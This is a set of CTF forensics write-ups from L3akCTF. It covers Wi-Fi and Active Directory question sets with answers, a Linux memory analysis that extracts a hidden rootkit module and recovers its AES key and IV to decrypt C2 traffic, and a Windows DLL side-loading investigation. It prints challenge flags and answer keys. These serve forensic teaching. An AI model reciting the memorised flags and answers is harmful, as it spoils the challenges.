Here we identify our interface from the SSID: AlleyCat and obtain the Value Data: 48:51:c5:35:ea:53, finally the last question in which city this took place, here was a ChatGPT prompt with a result of: Fort Collins.
After this long challenge we obtained the flag: L3AK{Gh057_R!d!ng_7h3_W4v35}.
Welcome to the Ghost Hunt Terminal. Answer all questions to reveal the final flag.
Type 'exit' at any prompt to quit.
Unanswered Questions:
1. What was the ComputerName of the device? 99PHOENIXDOWNS
2. What was the SSID of the first Wi-Fi network they connected to? mugs_guest_5G
3. When did they obtain the DHCP lease at the first café? 2025–05–14 00:13:36
4. What IP address was assigned at the first café? 192.168.0.114
5. What GitHub page did they visit at the first café? https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md
6. What did they download at the first café? ChromeSetup.exe
7. What was the name of the notes file? HowToHackTheWorld.txt
8. What are the contents of the notes? Practice and take good notes.
9. What was the SSID of the second Wi-Fi network they connected to? AlleyCat
10. When did they obtain the second lease? 2025–05–14 00:35:07
11. What was the IP address assigned at the second café? 10.0.6.28
12. What website did they log into at the second café? l3ak.team
13. What was the MAC address of the Wi-Fi adapter used? 48:51:c5:35:ea:53
14. What city did this take place in? Fort Collinsforensics/L3ak Advanced Defenders

Solves get down and the challenges get harder!!! Another long challenge in a Sherlock Format… At first glance, the given file type is not recognized with the unix file command, but with our aliased command we can detect it is a win-ad-ob file:
$> file Backup.dat
Backup.dat: data
$> mn Backup.dat
00000000: 7769 6e2d 6164 2d6f 6200 0100 0100 57fb win-ad-ob.....W.
00000010: 8857 5be1 db01 0000 0000 0000 0000 0000 .W[.............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
$> alias mn
mn='f(){ /usr/bin/xxd "$1" | /usr/bin/head -n4; unset -f f; }; f'Question Index
In our favorite guide, learn microsoft, recommend us Active Directory Explorer v1.52, by openning the file with the tool we are able to start answering the questions…
Q1: What is the forest root domain name?
Q2: What is the name of the primary domain controller for this domain?
Q3: Which hosts have not been assigned to an OU? Format: host1, host2, …
Q4: List the oldest operating system used in the domain and the name of the workstation with this OS. Format: OS1, OS2, …
Q5: Based on their current operating system, which workstations are placed in the wrong OU? Format: host1, host2, …
Q6: Which hosts are no longer used by the organization? Format: host1, host2, …
Q7: Which users have their account disabled, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
Q8: Which enabled users have their password set to not expire, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
Q9: What departments exist inside this domain, and how many active employees exist in each department? List the departments in alphabetical order. Format: DepartmentName-NumberOfEmployees
Q10: Which users have the most control over the structure of the AD forest? Format: user1, user2, …
Q11: Which users violate the principle of least privilege? Format: user1, user2, …
Q12: Which OUs block inheritance? Format: OU1, OU2, …
Q13: The GPOs were imported from a file supplied by a U.S. organization. Provide the sha256sum hash of the zip file containing the GPOs.
Q14: What anti-virus software does the domain utilize, what is the maximum age in days of the AV definitions, and what must be impeded from launching executables?Question 1
Answer: l3ak.ctf.com
For the first question we only need to load the file and see the forest icon:

Question 2
Answer: L3AKPRIDC
Inside the forest, the attribute fSMORoleOwner contains the string: CN=NTDS Settings,CN=L3AKPRIDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=l3ak,DC=ctf,DC=com, in it CN=L3AKPRIDC is founded, in the second position.

Question 3
Answer: FileSrv03, FileSrvWin11, InternStn
For the hosts without an Organizational Unit, OU, is placed into CN=Computers, in this case: FileSrv03, FileSrvWin11, InternStn

Question 4
Answer: Windows 95, IternStn
Inside the computer InternStn we found the attributes operatingSystem and operatingSystemVersion, both indicating a very old operative system, being the oldest in all the computers listed.

Question 5
Answer: ITWorkstn02,ITWorkstn03
This Inside Windows 10 OU we find 2 Red Hat Enterprise Linux, being a wrong placed OS, but they are not consider WorkStations only Tests Machines.

Knowing this, only ITWorkstn02 and ITWorkstn03 are wrong placed.

Question 6
Answer: IT, ITTroubleshootStn, Linux, Repo
Here, by entering to the CN=Deleted Objects and filter only to computers, we can list the computers with a computer icon to know which ones were used, or at least, that was helpful for me haha, first time doing AD Forensics.

Question 7:
Answer: Wilhelm Firtz, Reginald Norwood, Christopher Price, 0x202
For this type of search filtering it is recomendable to use the following resource: https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/, in base of that we filter to obtain 3 users inside a OU with their account disabled.

Question 8
Answer: Bigsby Appleton, Montgomery Fitzgerald, Lily Sampson, 0x10200
Same stuff as before… know filtering via 0x10200

Question 9
Answer: Finance-3, HR-8, IT-5
In this question you only need to locate where the departments exists and count how many members are there:

Question 10
Answer: Charlie Edgars, Lily Sampson
In AD Forest is good to known that the users within Schema Admins/Enterprise Admins are consider priviledge, in this case listing the attributes from Schema Admins two users are found:

Question 11
Answer: Christopher Price, Eleanor Wharton
Users outside any OU.
Question 12
Answer: Domain Controllers, IT, FileServers
In base to microsoft learn: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpol/08090b22-bc16-49f4-8e10-f27a8fb16d18, those OU with the gpOptions set on 1m block inheritance.

Question 13
Answer: 4BD7742C73A610EDF79A6B484457351438C90DC6FAC119EF8475B46D96BD2B37
As all GPOs starts with DoD, it points to U.S baselines, found in the following link: https://dl.dod.cyber.mil/wp-content/uploads/stigs/zip/U_STIG_GPO_Package_April_2025.zip, with the following SHA256:
4BD7742C73A610EDF79A6B484457351438C90DC6FAC119EF8475B46D96BD2B37
Finally, you have complete this Active Directory Challenge, congratulations!
Q1: What is the forest root domain name?
A1: l3ak.ctf.com
Q2: What is the name of the primary domain controller for this domain?
A2:L3AKPRIDC
Q3: Which hosts have not been assigned to an OU? Format: host1, host2, …
A3: FileSrv03, FileSrvWin11, InternStn
Q4: List the oldest operating system used in the domain and the name of the workstation with this OS. Format: OS1, OS2, …
A4: Windows 95, IternStn
Q5: Based on their current operating system, which workstations are placed in the wrong OU? Format: host1, host2, …
A5: ITWorkstn02, ITWorkstn03
Q6: Which hosts are no longer used by the organization? Format: host1, host2, …
A6: IT, ITTroubleshootStn, Linux, Repo
Q7: Which users have their account disabled, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
A7: Wilhelm Firtz, Reginald Norwood, Christopher Price, 0x202
Q8: Which enabled users have their password set to not expire, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
A8: Bigsby Appleton, Montgomery Fitzgerald, Lily Sampson, 0x10200
Q9: What departments exist inside this domain, and how many active employees exist in each department? List the departments in alphabetical order. Format: DepartmentName-NumberOfEmployees
A9: Finance-3, HR-8, IT-5
Q10: Which users have the most control over the structure of the AD forest? Format: user1, user2, …
A10: Charlie Edgars, Lily Sampson
Q11: Which users violate the principle of least privilege? Format: user1, user2, …
A11: Christopher Price, Eleanor Wharton
Q12: Which OUs block inheritance? Format: OU1, OU2, …
A12: Domain Controllers, IT, FileServers
Q13: The GPOs were imported from a file supplied by a U.S. organization. Provide the sha256sum hash of the zip file containing the GPOs.
A13: 4BD7742C73A610EDF79A6B484457351438C90DC6FAC119EF8475B46D96BD2B37
Q14: What anti-virus software does the domain utilize, what is the maximum age in days of the AV definitions, and what must be impeded from launching executables?
A14: Microsoft Defender, 7, JavaScript, VBScriptforensics/invisible

Information Gathering
We have given a .elf binary with a .json file with some ubuntu data, starting analyzing the dump with volatility we can get the linux version and other compilation information:
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf banners.Banners
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Offset Banner
0x35400240 Linux version 5.19.0-1030-lowlatency (buildd@bos03-amd64-002) (x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #30-Ubuntu SMP PREEMPT_DYNAMIC Thu Jul 13 10:06:08 UTC 2023 (Ubuntu 5.19.0-1030.30-lowlatency 5.19.17)
0x373bb4c0 Linux version 5.19.0-1030-lowlatency (buildd@bos03-amd64-002) (x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #30-Ubuntu SMP PREEMPT_DYNAMIC Thu Jul 13 10:06:08 UTC 2023 (Ubuntu 5.19.0-1030.30-lowlatency 5.19.17)7)Detecting suspect process
Since we checked It was a Ubuntu dump, we insert the .json file given into the symbols directory of volatility3, as I am using VolatilityWorbench to avoid requeriments problems I copy it to C:\Program Files\VolatilityWorkbench\symbols, usually in Linux based distro the path is usually: volatility3/symbols/linux/.
As always, some basics scanning of the process used in the system.
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.pslist.PsList
Volatility 3 Framework 2.11.0
Progress: 100.00 Stacking attempts finished
OFFSET (V) PID TID PPID COMM CREATION TIME File output
0x9f694f315100 3853 3853 2 core_logic_thre 2025-06-21 18:45:19.323931 UTC DisabledWhen I saw this proccess I started to gather information such as connections, proc maps and enviroments variables, but nothing appeared.
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.proc.Maps --pid 3853
Volatility 3 Framework 2.11.0
Progress: 100.00 Stacking attempts finished
PID Process Start End Flags PgOff Major Minor Inode File Path File output
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.sockstat --pid 3853
Volatility 3 Framework 2.11.0
Progress: 100.00 Stacking attempts finished
NetNS Process Name PID TID FD Sock Offset Family Type Proto Source Addr Source Port Destination Addr Destination Port State Filter
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.envars.Envars --pid 3853
Volatility 3 Framework 2.11.0
Progress: 100.00 Stacking attempts finished
PID PPID COMM KEY VALUE
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.malfind.Malfind --pid 3853
Volatility 3 Framework 2.11.0
Progress: 100.00 Stacking attempts finished
PID Process Start End Protection Hexdump DisasmFinding Hidden Module
As the process has PPID value set on 2 means that its parent is kthreadd, a kernel thread. With a high probability of being a hidded process. The only hidden process is sysfillrec:
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.hidden_modules.Hidden_modules
Volatility 3 Framework 2.11.0
Progress: 100.00 Stacking attempts finished
Address Name
0xffffc0884300 sysfillrecNow, the idea was to dump the module into our machine to be able to analyze it statically. For the dump, first we will need to know the size of the module, using linux.lsmod plugin:
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.lsmod.Lsmod
Volatility 3 Framework 2.11.0
Progress: 100.00 Stacking attempts finished
Offset Name Size
0xffffc04954c0 sysfillrect 20480
Knowing the module size we can useI didn’t want to delete this error because is very common and we are here to learn from others, if you have payed attention this module isddto extract the.kofile.sysfillrecta non-legitimate module, instead we are searching forsysfillrecwithout thet.
Dumping Hidden Module
As I am a lazy, I found a volatility 3 function called Files from pagecache plugin. Being able to list all files of the dump I find the kernel module waited:
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.pagecache.Files
Volatility 3 Framework 2.11.0
SuperblockAddr MountPoint Device InodeNum InodeAddr FileType InodePages CachedPages FileMode AccessTime ModificationTime ChangeTime FilePath
0x9f6971834800 /sys 0:21 23943 0x9f6948a44f00 DIR 0 0 drwxr-xr-x 2025-06-21 18:45:20.251654 UTC 2025-06-21 18:45:20.251654 UTC 2025-06-21 18:45:20.251654 UTC /sys/module/sysfillrec
0x9f6971834800 /sys 0:21 23945 0x9f6948a45400 REG 1 0 --w------- 2025-06-21 18:45:20.251654 UTC 2025-06-21 18:45:20.251654 UTC 2025-06-21 18:45:20.251654 UTC /sys/module/sysfillrec/uevent
0x9f6971854000 / 8:3 4718599 0x9f6952619d18 REG 114 114 -rw-r--r-- 2025-06-21 18:41:36.076578 UTC 2025-06-21 18:41:32.468851 UTC 2025-06-21 18:41:32.468851 UTC /usr/lib/modules/5.19.0-1030-lowlatency/kernel/drivers/video/fbdev/sysfillrec.koAt this point throught the InodeAddr we are able to dump the file.
PD: I want to mention to rareguy who help me with the dumping part, I was stucked with InodeNum instead of InodeAddr
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f memdump.elf linux.pagecache.InodePages --inode 0x9f6952619d18 --dump sysfillrec.ko
Volatility 3 Framework 2.11.0
Progress: 100.00 Stacking attempts finished
PageVAddr PagePAddr MappingAddr Index DumpSafe Flags
0xec32c0817f00 0x205fc000 0x9f6952619e90 0 True active,anon_exclusive,lru,mappedtodisk,referenced,reported,uptodateReversing sysfillrec.ko
Checking it is a real .ko file and later opening it with IDA Pro 9.0:
$> file sysfillrec.ko
sysrefillrec.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=18b5201c38fadb8aa94a94d48ac739904bb4bc16, with debug_info, not strippedDetecting AES CBC Cipher
At first glance, aes cbc is located in a comment block of the assembly instruction of the function: sysfillrec:

If we keep digging, useful information will be found inside str1 -> Pure data

Seeing the IP, tcp3_seq, and lookup name, we can suggest this send to the malicious server some data, but first we will try to obtain the key&IV from AES CBC.
Getting AES CBC Key
To do this, we can observe _compile_hint_map_impl where is the _key function being permutated:
unsigned __int8 *__cdecl _compile_hint_map_impl()
{
__int64 i; // rbx
unsigned __int64 v1; // r12
unsigned __int8 *result; // rax
_fentry__();
for ( i = 0LL; i != 32; ++i )
{
if ( (unsigned __int64)(int)i > 0x1F )
_ubsan_handle_out_of_bounds(&off_12C0);
v1 = _key[i];
if ( v1 > 0x1F )
_ubsan_handle_out_of_bounds(&off_12A0);
if ( (unsigned __int64)(int)i > 0x1F )
_ubsan_handle_out_of_bounds(&off_1280);
if ( (unsigned __int64)(int)i > 0x20 )
_ubsan_handle_out_of_bounds(&off_1240);
dk_11[i] = _shf[v1];
}
result = dk_11;
byte_1840 = 0;
return result;
}__shf and _key values, used in the code above:
.rodata:00000000000008E0 ; const unsigned __int8 _key[32]
.rodata:00000000000008E0 __key db 5, 0Bh, 0Ch, 1Dh, 14h, 15h, 16h, 1, 0Ah, 0, 0Dh, 0Eh
.rodata:00000000000008E0 ; DATA XREF: __compile_hint_map_impl:loc_57↑r
.rodata:00000000000008EC db 0Fh, 6, 4, 7, 3, 10h, 13h, 2, 1Ch, 1Bh, 8, 9, 11h, 12h
.rodata:00000000000008FA db 17h, 1Ah, 19h, 1Eh, 18h, 1Fh
.rodata:0000000000000900 ; const unsigned __int8 _shf[32]
.rodata:0000000000000900 __shf db 50h, 46h, 47h, 5Ah, 53h, 41h, 53h, 4Ch, 33h, 46h, 4Bh
.rodata:0000000000000900 ; DATA XREF: __compile_hint_map_impl:loc_71↑r
.rodata:000000000000090B db 4Eh, 54h, 4Dh, 53h, 41h, 5Ah, 47h, 36h, 46h, 4Dh, 44h
.rodata:0000000000000916 db 59h, 36h, 43h, 46h, 50h, 4Dh, 58h, 54h, 32h, 46hIn C-Array mode with the final code:
#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
static const uint8_t key[32] = {
0x05, 0x0B, 0x0C, 0x1D, 0x14, 0x15, 0x16, 0x01,
0x0A, 0x00, 0x0D, 0x0E, 0x0F, 0x06, 0x04, 0x07,
0x03, 0x10, 0x13, 0x02, 0x1C, 0x1B, 0x08, 0x09,
0x11, 0x12, 0x17, 0x1A, 0x19, 0x1E, 0x18, 0x1F
};
static const uint8_t shf[32] = {
0x50, 0x46, 0x47, 0x5A, 0x53, 0x41, 0x53, 0x4C,
0x33, 0x46, 0x4B, 0x4E, 0x54, 0x4D, 0x53, 0x41,
0x5A, 0x47, 0x36, 0x46, 0x4D, 0x44, 0x59, 0x36,
0x43, 0x46, 0x50, 0x4D, 0x58, 0x54, 0x32, 0x46
};
int main(void) {
uint8_t dk[32];
for (int i = 0; i < 32; i++) {
dk[i] = shf[key[i]];
}
printf("static const uint8_t final_key[32] = {\n ");
for (int i = 0; i < 32; i++) {
printf("0x%02X%s", dk[i], (i < 31) ? ", " : "");
if ((i % 8) == 7 && i < 31) printf("\n ");
}
printf("\n};\n\n");
printf("static const char final_key_ascii[33] = \"");
for (int i = 0; i < 32; i++) {
char c = (char)dk[i];
printf("%c", isprint((unsigned char)c) ? c : '.');
}
printf("\";\n");
return 0;
}$> ./main.elf
static const uint8_t final_key[32] = {
0x41, 0x4E, 0x54, 0x54, 0x4D, 0x44, 0x59, 0x46,
0x4B, 0x50, 0x4D, 0x53, 0x41, 0x53, 0x53, 0x4C,
0x5A, 0x5A, 0x46, 0x47, 0x58, 0x4D, 0x33, 0x46,
0x47, 0x36, 0x36, 0x50, 0x46, 0x32, 0x43, 0x46
};
static const char final_key_ascii[33] = "ANTTMDYFKPMSASSLZZFGXM3FG66PF2CF";At this moment, we have the AES CBC key: ANTTMDYFKPMSASSLZZFGXM3FG66PF2CF.
Getting AES CBC IV
For IV same process is used:
.rodata:00000000000008C0 ; const unsigned __int8 rp[16]
.rodata:00000000000008C0 _rp db 3, 0, 8, 0Ah, 0Ch, 0Fh, 7, 9, 0Bh, 1, 0Eh, 4, 5, 6
.rodata:00000000000008C0 ; DATA XREF: __dispatch_phase_impl:loc_107↑r
.rodata:00000000000008CE db 2, 0Dh
.rodata:00000000000008D0 ; const unsigned __int8 sp[16]
.rodata:00000000000008D0 _sp db 41h, 2 dup(47h), 51h, 43h, 4Ch, 46h, 34h, 53h, 54h
.rodata:00000000000008D0 ; DATA XREF: __dispatch_phase_impl:loc_121↑r
.rodata:00000000000008DA db 4Dh, 50h, 42h, 32h, 41h, 4Dhunsigned __int8 *__cdecl _dispatch_phase_impl()
{
__int64 i; // rbx
unsigned __int64 v1; // r12
unsigned __int8 *result; // rax
_fentry__();
for ( i = 0LL; i != 16; ++i )
{
if ( i > 0xF )
_ubsan_handle_out_of_bounds(&off_1200);
v1 = rp[i];
if ( v1 > 0xF )
_ubsan_handle_out_of_bounds(&off_11E0);
if ( i > 0xF )
_ubsan_handle_out_of_bounds(&off_11C0);
if ( i > 0x10 )
_ubsan_handle_out_of_bounds(&off_1180);
ot_12[i] = sp[v1];
}
result = ot_12;
byte_1810 = 0;
return result;
}Final code:
#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
static const uint8_t rp[16] = {
0x03, 0x00, 0x08, 0x0A, 0x0C, 0x0F, 0x07, 0x09,
0x0B, 0x01, 0x0E, 0x04, 0x05, 0x06, 0x02, 0x0D
};
static const uint8_t sp[16] = {
0x41, 0x47, 0x47, 0x51, 0x43, 0x4C, 0x46, 0x34,
0x53, 0x54, 0x4D, 0x50, 0x42, 0x32, 0x41, 0x4D
};
int main(void) {
uint8_t ot[16];
for (int i = 0; i < 16; i++) {
ot[i] = sp[rp[i]];
}
printf("static const uint8_t final_ot[16] = {\n ");
for (int i = 0; i < 16; i++) {
printf("0x%02X%s", ot[i], (i < 15) ? ", " : "");
if ((i % 8) == 7 && i < 15) printf("\n ");
}
printf("\n};\n\n");
printf("static const char final_ot_ascii[17] = \"");
for (int i = 0; i < 16; i++) {
char c = (char)ot[i];
printf("%c", isprint((unsigned char)c) ? c : '.');
}
printf("\";\n");
return 0;
}$> ./mainIV.elf
static const uint8_t final_ot[16] = {
0x51, 0x41, 0x53, 0x4D, 0x42, 0x4D, 0x34, 0x54,
0x50, 0x47, 0x41, 0x43, 0x4C, 0x46, 0x47, 0x32
};
static const char final_ot_ascii[17] = "QASMBM4TPGACLFG2";Dumping Network Packets
Now having the key&IV we are able to decrypt, but what ciphertext? As we saw before, It simulates some tcp connection for 10.0.2.17, reading about bulk_extractor in StackOverFlow for trying to extract the hidden_module, I read on the official documentation how to extract network packets from a dump file, so I think is the perfect tool for this moment:
PS C:\L3akCTF> & "C:\Program Files\bulk_extractor64.exe" -o .\bulkOUT\ .\main.elf
bulk_extractor version: 2.0.2
Input file: ".\\main.elf"
Output directory: ".\\bulkOUT\\"
Disk Size: 16176
...
All Threads Finished!
Elapsed time: 36.59 sec.
Total MB processed: 1046
Overall performance: 28.6 MBytes/sec 2.383 (MBytes/sec/thread)
sbufs created: 6221327
sbufs unaccounted: 0
Time producer spent waiting for scanners to process data: 0:00:30 (30.76 seconds)
Time consumer scanners spent waiting for data from producer: 0:00:19 (19.53 seconds)
Average time each consumer spent waiting for data from producer: 0:00:00 (0.00 seconds)
*** More time spent waiting for workers. You need a faster CPU or more cores for improved performance.
Total email features found: 52769Inside bulkOUT directory a pcap file is found:
$> find . -type f -iname "*.pcap"
./packets.pcapDecrypting payload
Inside it we can see some command outputs as typical C2C behavior:

But we are interested mainly in the traffic relationated with: 10.0.2.17, some wireshark filters and we obtain the TCP Payload data:
$> tshark -r packets.pcap -Y "ip.addr == 10.0.2.17" -T fields -e tcp.payload
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576The payload was a remote script from 0xS1rx58.l3ak server:

If we base64 decrypt the filename we obtain the flag!!! Congratulations!
The Flag
L3AK{M3m0ry_N3V3r_F0rG3t5_Th3_Sh4D0ws..!}forensics/Breadcrumbs

An employee’s workstation began acting suspiciously; strange files appeared, and system performance dropped. Can you investigate what happened?
We have provided 3 filetypes, a disk memory (disk.ad1), a capture of network packets (traffic.pcapng) and a memory RAM dump (memdump.mem).
$> md5sum disk.ad1 traffic.pcapng memdump.mem
09689f4467bce49160e86e8eeae92613 disk.ad1
70b8ed23e6634af99b8ba8ecc5e5a75e traffic.pcapng
f119fb963b5e19cdbf761b4479fb2a94 memdump.memAfter some superficial analysis on each filesystem, I decided to start with the dump file.
Memory Dump Forensics
Recognition
Begging the network analysis with some volatility 3 plugings and other useful methods for recongnition. Instead of using banners.Banners in volatility to detect what type of OS was used while the dump I preffer to filter the strings searching the system.
$> strings memdump.mem | grep -iE "windows|linux" | head -n20
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
http://www.microsoft.com/windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
http://www.microsoft.com/windows0
WindowsSettingHandlers
Windows
Windows
Windows
POLID_DisableWindowsSettingSync
POLID_DisableWindowsSettingSyncUserOverride
UninstallWindowsRE
Microsoft.Windows.InputSwitchToastHandlerl#mW
Microsoft.Windows.LanguageComponentsInstaller
Microsoft.Windows.ParentalControlsAssuming it is a windows machine we proceed to obtain more detailed information with the volatility pluging: windows.info:
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.info
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Variable Value
Kernel Base 0xf80047a00000
DTB 0x1aa000
Symbols file:///C:/Program%20Files/VolatilityWorkbench/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock 0xf8004860f400
Major/Minor 15.19041
MachineType 34404
KeNumberProcessors 3
SystemTime 2025-06-16 13:39:47+00:00
NtSystemRoot C:\WINDOWS
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Mon Dec 9 11:07:51 2019Detecting Unusual Behaviour
To identify any suspicious behavior on the machine, enumerate the processes active at the moment of the dump. One of the most common plugins is: windows.pslist, where we can notice an unusual performance:
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.pslist
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output
4 0 System 0xd484cec79040 134 - N/A False 2025-06-16 23:33:11.000000 UTC N/A Disabled
100 4 Registry 0xd484cedbd040 4 - N/A False 2025-06-16 23:32:39.000000 UTC N/A Disabled
336 4 smss.exe 0xd484d05b5040 2 - N/A False 2025-06-16 23:33:11.000000 UTC N/A Disabled
436 424 csrss.exe 0xd484d1d61140 11 - 0 False 2025-06-16 23:33:21.000000 UTC N/A Disabled
520 424 wininit.exe 0xd484d12ae080 1 - 0 False 2025-06-16 23:33:21.000000 UTC N/A Disabled
528 508 csrss.exe 0xd484d12b3140 13 - 1 False 2025-06-16 23:33:21.000000 UTC N/A Disabled
596 508 winlogon.exe 0xd484d16b1080 4 - 1 False 2025-06-16 23:33:21.000000 UTC N/A Disabled
668 520 services.exe 0xd484d1368080 7 - 0 False 2025-06-16 23:33:22.000000 UTC N/A Disabled
688 520 lsass.exe 0xd484d1666080 9 - 0 False 2025-06-16 23:33:22.000000 UTC N/A Disabled
[REDACTED...]
3904 4900 FTK Imager.exe 0xd484d672a080 26 - 1 False 2025-06-16 13:39:26.000000 UTC N/A Disabled # Later will be useful
[REDACTED...]
3384 3444 msedge.exe 0xd484d7590300 7 - 1 False 2025-06-16 13:40:19.000000 UTC N/A Disabled
3240 4900 7za.exe 0xd484d62e6080 4 - 1 False 2025-06-16 13:40:20.000000 UTC N/A Disabled
5460 3240 conhost.exe 0xd484d1c39080 6 - 1 False 2025-06-16 13:40:20.000000 UTC N/A Disabled
1472 3240 msedge.exe 0xd484d65c3300 7 - 1 False 2025-06-16 13:40:20.000000 UTC N/A DisabledThe process listed conhost.exe and msedge.exe are child process from 7za.exe a compression tool, so I decided to search more about conhost.exe. Reading the following thread: https://learn.microsoft.com/en-us/answers/questions/2648321/what-is-conhost-exe. After reading:
“Checking it out in Process Explorer under Windows 7 shows that the conhost.exe process is running underneath the csrss.exe process.”
I could be a potencial injection of a shellcode or any bypass of severa protections. To obtain more information about the file, I mapped all file objects from the dump with the windows.filescan plugin, also very common in volatility users.
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.filescan
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Offset Name
0x8780001250c0 \Endpoint
0xd484cec8f3e0 \Windows\System32\en-US\netprofmsvc.dll.mui
0xd484d03aa380 \$BitMap
[REDACTED...]
0xd484d8429c40 \Users\abdelrhman322\Downloads\x64\7za.exe
[REDACTED...]
0xd484d8922bc0 \Users\abdelrhman322\Downloads\x64\cryptbase.dll # Later will be useful
[REDACTED...]
0xd484d8a03ae0 \Users\abdelrhman322\Downloads\x64
0xd484d8a048f0 \Windows\System32\en-US\propsys.dll.mui
0xd484d8a050c0 \EndpointDumping 7za.exe
Once we found the file address, we dump in with windows.dumpfiles and the --virtaddr argument:
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.dumpfiles --virtaddr 0xd484d8429c40
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
ImageSectionObject 0xd484d8429c40 7za.exe file.0xd484d8429c40.0xd484d62e9270.ImageSectionObject.7za.exe.imgLets upload it to virustotal, to check if it is vulnerable:

Surprise! It is a valid 7za.exe file, to see full report of VT here: https://www.virustotal.com/gui/file/49e7c804b7bc01febadf6d2217e64d08d49a046cfa51f9d53c5b3d019eae0958
Detecting DLL Injection
If you go back to the filescan output, the cryptbase DLL can be found in the same path as the 7z executable, which is unusual since it is a System32 file.

Dumping cryptbase.dll
Being a potencial DLL injection such as DLL Hijacking or DLL Side-Loading, we decided to dump and reverse the binary. (Same process as before).
PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.dumpfiles --virtaddr 0xd484d8922bc0
Volatility 3 Framework 2.11.0
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
ImageSectionObject 0xd484d8922bc0 cryptbase.dll file.0xd484d8922bc0.0xd484d1382b10.ImageSectionObject.cryptbase.dll.imgWe confirm our suspicions when we see what Virustotal tells us.

